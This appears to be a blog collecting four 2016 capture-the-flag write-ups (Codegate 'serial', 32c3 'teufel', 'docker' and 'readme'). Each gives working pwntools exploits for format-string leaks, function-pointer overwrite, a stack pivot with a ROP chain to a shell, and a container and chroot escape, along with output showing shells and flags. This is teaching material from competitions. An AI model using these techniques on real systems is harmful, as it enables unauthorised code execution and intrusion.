21 Mar 2016
This is a write-up of the challenge Serial from the Codegate qualification round 2016.
The challenge
Serial is a 64bit x86 linux pwnable.
Reversing
When the program is run, we got prompted for a product key:
$ ./serial
input product key:
After a short look at the binary we found that the check function was at 0x400ccb
,
and that it accepts 32 bytes of input which it somehow checks.
But after a first look at how the function worked we decided that is was simple but that it would be boring to reverse, and that it would take some time to write a keygen by hand.
So we decided on using Angr, and so I wrote this script to crack it:
When we run this script it gives us the product key(after a short time):
$ python gen_serial.py
Serial is: '615066814080'
Giving this as input the program we finally get to the menu:
$ ./serial
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >>
The Bug
The program starts by allocating 10 elements of size 0x20 using calloc
,
which we can then manipulate by the commands add, remove or dump.
The structure of these elements looks like:
struct elem {
char note[24];
void *dump_func_pointer;
};
But the add command allows us to overwrite the function pointer,
and the dump command the just calls this pointer with a reference to the element as an argument.
Exploitation
Luckily we haveprintf
in the binary, so we can use the bug to call printf like
printf("We can insert a nice format string here");
Thus we are able to read and write memory as we like, for example:
from pwn import *
e = ELF("./serial")
r = process("./serial")
r.recvuntil("input product key:")
r.sendline("615066814080")
@MemLeak
def leak(addr):
r.recvuntil("choice >> ")
r.sendline("1")
r.sendline("BB%13$sCC".ljust(24) + p64(e.plt["printf"]))
# This is placed somewhere on the stack.
r.sendline("3AAAAAAA"+p64(addr))
# remember to remove the element, we only have 10.
r.sendline("2\n0")
r.recvuntil("BB")
data = r.recvuntil("CC")[:-2] + "\x00"
r.recvuntil("choice >> ")
return data
# Magic from pwntools, which does pointer chasing and hashtable
# lookups to find stuff in memory. You should check it out.
d = DynELF(leak, elf = e)
system = d.lookup("system", "libc.so")
print "This is the address of 'system' in libc.so:", hex(system)
And it works:
$ python doit_serial.py
[*] '/home/user/serial'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack Canary: Canary found
NX: NX enabled
PIE: No PIE
[+] Starting program './serial': Done
[+] Loading from '/home/user/serial': 0x7f739e8e61a8
[+] Resolving 'system' in 'libc.so': 0x7f739e8e61a8
This is the address of 'system' in libc.so: 0x7f739e35a490
And now we simply need to use system
as our dumper function and call it the right way:
r.recvuntil("choice >> ")
r.sendline("1")
r.sendline("sh;".ljust(24) + p64(system))
r.sendline("3")
# lol, have a shell
r.clean()
r.interactive()
Final exploit
06 Jan 2016
This is a write-up of the teufel challenge from the 32c3 CTF
The Challenge
This was a 64-bit x86 binary pwnable.
The way it worked was that it allocated a new stack with a read-only guard page above it,
and then it entered a loop which called a function which was more or less equivalent to
void read_read_puts(){
long int n;
if(read(0, &n, 8) <= 0) exit(0);
if(read(0, &n, n) <= 0) exit(0);
puts(&n);
}
The Exploit
First of all, because the way the stack has been setup we can only put 24 bytes on the stack, namely n
, rbp
, and rip
,
therefore we can only jump to one gadget, and we only control rbp
.
However we are able to leak the address of the stack by only sending 9 bytes, and then let puts
print it to us:
from pwn import *
r = process("./teufel")
r.send(p64(9))
r.send("A"*9)
assert r.recvn(8) == "A"*8
stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
log.info("Stack is at 0x%x", stack)
$ python doit_teufel.py
[+] Starting program './teufel': Done
[*] Stack is at 0x7fe6913aa000
[*] Stopped program './teufel'
Now that we know where the stack is, we found the gadget
loop:
4004d4: mov rsp,rbp
4004d7: call 4004e6 <read_read_puts>
4004dc: jmp 4004d7 <loop>
Using this gadget we were able to pivot the stack, to get more space:
mov_rsp_call = 0x4004d4
rop1 = flat([
"A"*8,
stack-0x100,
mov_rsp_call
], word_size=64)
r.send(p64(len(rop1))+ rop1)
r.recvline()
Now attaching gdb at this point we can see whats on the stack:
gdb$ x/10xg $sp
0x7fec13046ee8: 0x0000000026250a61 0x00007fec13046f00
0x7fec13046ef8: 0x00000000004004dc 0x00000000568cdfd4
0x7fec13046f08: 0x000000002625d0da 0x0000000000000000
0x7fec13046f18: 0x0000000000000000 0x0000000000000000
0x7fec13046f28: 0x00007fec12e28740 0x00000000ffffffff
^ this is in libc
And we can leak this:
r.send(p64(4*16))
r.send("A"*4*16)
assert r.recvn(4*16) == "A"*4*16
libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)
$ python doit_teufel.py
[+] Starting program './teufel': Done
[*] Stack is at 0x7fbb8f3b1000
[*] Libc is at 0x7fbb8edcd000
[*] Program './teufel' stopped with exit code -11
and then teufel
crashes...
But becuase of the way the stack was allocated it is placed relative to libc,
so we can just restart the program, leak the address of the stack again, and then ROP in libc.
So this was the final exploit:
from pwn import *
def new_process():
#r = process("./teufel", env={"LD_LIBRARY_PATH": os.getcwd()})
r = remote("136.243.194.41", 666)
r.send(p64(9))
r.send("A"*9)
assert r.recvn(8) == "A"*8
stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
log.info("Stack is at 0x%x", stack)
mov_rsp_call = 0x4004d4
pivot_rop = flat([
"A"*8,
stack-0x100,
mov_rsp_call
], word_size=64)
r.send(p64(len(pivot_rop)) + pivot_rop)
r.recvline()
return r, stack
r, stack = new_process()
r.send(p64(4*16))
r.send("A"*4*16)
assert r.recvn(4*16) == "A"*4*16
libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)
diff = libc - stack
r, stack = new_process()
libc = stack + diff
log.info("Libc is at 0x%x" % libc)
pop_rdi = libc + 0x218a2
system = libc + 0x443d0
rop = flat([
"/bin/sh\x00",
0x0,
pop_rdi,
stack-0x100-0x18,
system
], word_size=64)
r.send(p64(len(rop)) + rop)
r.clean()
r.interactive()
So we have a shell:
$ python doit_teufel.py
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f76345fc000
[*] Libc is at 0x7f7634012000
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f7409b69000
[*] Libc is at 0x7f740957f000
[*] Switching to interactive mode
$ cat flag.txt
32C3_mov_pop_ret_repeat
04 Jan 2016
This is a write-up of the docker challenge from the 32c3 CTF.
The Challenge
We were given ssh access is a box as the user eve
,
and we needed to read a flag(/home/adam/flag
) that the user adam
had read-only rights to.
adam
had a binary(/home/adam/docker
) which did:
/usr/bin/docker run -it --privileged=false -u 1337:65534 --cap-drop=ALL --net=host ubuntu /bin/bash
Which means that we had a bash shell inside a docker container running as adam
but was using the same network stack as the host.
The Solution
As we were running as adam
inside the container the logical step would be to break out of the container,
and because the docker container was running with --net=host
it was natural to think that it was a network related issue.
Thus the obvious choice is unix doman sockets, which are files that behaves as sockets but have some interesting features such as the ability to transfer file descriptors.
So digging though man pages we found something called abstract unix domain, which are unix domain sockets but not files.
All this information can be found in man unix
, along with information describing how to transfer file descriptors over unix domain sockets
After researching all this arcane magic we came up with:
Which should be run outside of the docker as eve
like:
./sendfd foobar /
And this should be run side of the docker as adam
like:
./recvfd foobar /bin/bash
The twist
All of this was running inside a chroot, and adam
's flag was a false flag,
The real flag was at /flag
and adam
's was at /chroot/home/adam/flag
.
But when your current working directory is already unreachable from the root you can break out of any chroot your are in. So this was not a problem.
Conclusion
This is not a bug in docker. Everything is working as intended. --net=host
is harmful for your sandboxing.
04 Jan 2016
This is a write-up of the readme challenge from the 32c3 CTF
The Challenge
This was a pwnable binary with with the flag baked into it, which you could see if you ran:
$ strings readme.bin | grep 32C3
32C3_TheServerHasTheFlagHere...
The flag is located at 0x600d20
in the .data
section.
The challenge was very simple, it was a service witch gets
your name onto the stack,
and then it asks you to over write the flag at 0x600d20
The Solution
First of all the flag is mapped into memory twice, because of how elf works it is also located in read-only memory at 0x400d20
but only the flag in the .data
section gets overwritten.
So locally we could get it printed simply by smashing our stack all the way upto argv
,
and then let _stack_chk_fail
print it for us.
from pwn import *
flag_addr = 0x400d20
r = process("./readme.bin")
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80)
r.sendline("THIS OVERWRITES THE FLAG")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())
which prints when executed:
$ python doit.py
[+] Starting program './readme.bin': Done
[*] The flag is: 32C3_TheServerHasTheFlagHere...
[*] Program './readme.bin' stopped with exit code -6
however this does not work remotely, this is becuase _stack_chk_fail
calls __fortify_fail
which calls __lib_message
which does this:
void
__libc_message (int do_abort, const char *fmt, ...)
{
va_list ap;
int fd = -1;
va_start (ap, fmt);
/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == '\0')
fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
if (fd == -1)
fd = STDERR_FILENO;
// then prints stuff and crashes
}
which means that we only need to set LIBC_FATAL_STDERR_
and the flag will get printed over stderr
instead of /dev/tty
.
So this is the final exploit:
from pwn import *
env_addr = 0x600d20
flag_addr = 0x400d20
r = remote("136.243.194.62", 1024)
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80 + p64(env_addr)*20)
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())
and we then finally have the flag:
$ python doit.py
[+] Opening connection to 136.243.194.62 on port 1024: Done
[*] The flag is: 32C3_ELF_caN_b3_pre7ty_we!rd...
[*] Closed connection to 136.243.194.62 port 1024